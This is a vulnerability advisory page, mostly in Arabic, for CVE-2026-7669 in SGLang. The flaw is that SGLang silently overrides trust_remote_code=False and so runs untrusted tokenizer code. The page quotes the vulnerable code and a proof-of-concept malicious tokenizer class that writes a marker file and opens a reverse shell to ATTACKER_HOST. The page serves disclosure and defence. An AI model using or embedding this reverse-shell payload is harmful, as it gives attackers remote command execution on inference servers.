sgl-project SGLang حتى 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code تجاوز الصلاحيات
| CVSS الدرجة المؤقتة للميتا | سعر الإكسبلويت الحالي (≈) | درجة اهتمام CTI |
|---|---|---|
| 6.9 | $0-$5k | 0.00 |
الملخص
تم أيجاد ثغرة أمنية بصنف خطيرة. في sgl-project SGLang حتى 0.5.9. تتأثر الوظيفة get_tokenizer من الملف python/sglang/srt/utils/hf_transformers_utils.py من المكون HuggingFace Transformer Handler. عند التلاعب بالوسيط trust_remote_code من خلال إدخال False في إطار Boolean ينتج تجاوز الصلاحيات.
يتم تداول هذه الثغرة تحت اسم CVE-2026-7669. يمكن شن الهجوم هذا عن بعد. بالإضافة إلى ذلك، يتوفر استغلال.
التفاصيل
تم أيجاد ثغرة أمنية بصنف خطيرة. في sgl-project SGLang حتى 0.5.9. تتأثر الوظيفة get_tokenizer من الملف python/sglang/srt/utils/hf_transformers_utils.py من المكون HuggingFace Transformer Handler. عند التلاعب بالوسيط trust_remote_code من خلال إدخال False في إطار Boolean ينتج تجاوز الصلاحيات. أستخدام الـ سي دبليو أي للأعلان عن المشكلة يؤدي إلى CWE-94. فيما يلي ملخص الاستشارة:
SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.تم التعرف على الثغرة بتاريخ 07/04/2026. المشكلة تم نشرها بتاريخ بواسطة Nicholas Gould, David Rochester (ngould and davidrochester). إذا كان الطول أكبر من صفر، فإن الإفصاح يشمل:
trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.
يتم تداول هذه الثغرة تحت اسم CVE-2026-7669. يمكن شن الهجوم هذا عن بعد. تتوفر معلومات تقنية. درجة تعقيد الهجوم عالية. تمت الإشارة إلى أن استغلال الثغرة صعب. معدل انتشار هذه الثغرة أقل من المعدل العام. بالإضافة إلى ذلك، يتوفر استغلال. تم نشر تفاصيل الاستغلال للعامة وقد يُستخدم. يصرح مشروع MITRE ATT&CK بأن تقنية الهجوم هي T1059. السبب في هذه الثغرة هو هذا المقطع من الكود:
# python/sglang/srt/utils/hf_transformers_utils.py:898-909
if not trust_remote_code and type(tokenizer)._name_ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
) تشير النشرة إلى:On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.
إذا وُجد إثبات المفهوم، فإنه يُصرح به كـ إثبات المفهوم. الاستغلال متاح للتنزيل عبر github.com. تم تصنيف الثغرة كاستغلال يوم-صفر غير معلن لمدة لا تقل عن 25 يومًا. الكود البرمجي الذي يستخدمه الاستغلال هو:
import os, pathlib
from transformers import PreTrainedTokenizerFast
class MaliciousTokenizer(PreTrainedTokenizerFast):
def _init_(self, args, *kwargs):
pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")
host = os.environ.get("ATTACKER_HOST")
if host:
import socket
s = socket.socket()
s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
os.execve("/bin/sh", ["sh"], os.environ)
super()._init_(args, *kwargs) إذا كان هناك محتوى في The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.، فإن التنبيه يشير إلى:The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.
منتج
النوع
المجهز
الأسم
النسخة
CPE 2.3
CPE 2.2
CVSSv4
VulDB متجه: 🔒VulDB الاعتمادية: 🔍
CVSSv3
VulDB الدرجة الأساسية للميتا: 7.2VulDB الدرجة المؤقتة للميتا: 6.9
VulDB الدرجة الأساسية: 5.6
VulDB الدرجة المؤقتة: 5.1
VulDB متجه: 🔒
VulDB الاعتمادية: 🔍
باحث الدرجة الأساسية: 8.8
باحث متجه: 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| متجه | التعقيد | توثيق | السرية | الأمانة | التوفر |
|---|---|---|---|---|---|
| افتح | افتح | افتح | افتح | افتح | افتح |
| افتح | افتح | افتح | افتح | افتح | افتح |
| افتح | افتح | افتح | افتح | افتح | افتح |
VulDB الدرجة الأساسية: 🔒
VulDB الدرجة المؤقتة: 🔒
VulDB الاعتمادية: 🔍
باحث الدرجة الأساسية: 🔒
استغلال
الفئة: تجاوز الصلاحياتCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒
ملموس: لا
محلي: لا
عن بُعد: نعم
التوفر: 🔒
وصول: عام
الحالة: إثبات المفهوم
المؤلف: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
لغة البرمجة: 🔒
تحميل: 🔒
EPSS Score: 🔒
EPSS Percentile: 🔒
تقدير السعر: 🔍
تقدير السعر الحالي: 🔒
| 0-Day | افتح | افتح | افتح | افتح |
|---|---|---|---|---|
| اليوم | افتح | افتح | افتح | افتح |
استخبارات التهديد
الاهتمام: 🔍الفاعلون النشطون: 🔍
مجموعات APT النشطة: 🔍
إجراءات مضادة
التوصية: لا يوجد تخفيف معروفالحالة: 🔍
زمن الهجوم الفوري: 🔒
وقت تأخير الاستغلال: 🔍
الجدول الزمني
07/04/2026 تم إيجاد الثغرة07/04/2026 تم إبلاغ الشركة المصنعة
02/05/2026 تم نشر الاستشارة
02/05/2026 تم إنشاء إدخال VulDB
03/05/2026 تم نشر الاستغلال
04/05/2026 آخر تحديث في VulDB
المصادر
باحث: Nicholas Gould, David Rochester (ngould, davidrochester)الحالة: غير معرفة
CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013
إدخال
تم الإنشاء: 02/05/2026 10:05 AMتم التحديث: 04/05/2026 06:26 AM
التغييرات: 02/05/2026 10:05 AM (54), 03/05/2026 04:01 AM (1), 04/05/2026 06:23 AM (51), 04/05/2026 06:26 AM (8)
كامل: 🔍
المقدم: ngould
المتعهد: ngould
Cache ID: 216::103
إرسال
تمت الموافقة
- إرسال #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (بحسب ngould)
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
لا توجد تعليقات بعد اللغات: ar + fa + en.
يرجى تسجيل الدخول حتى تتمكن من التعليق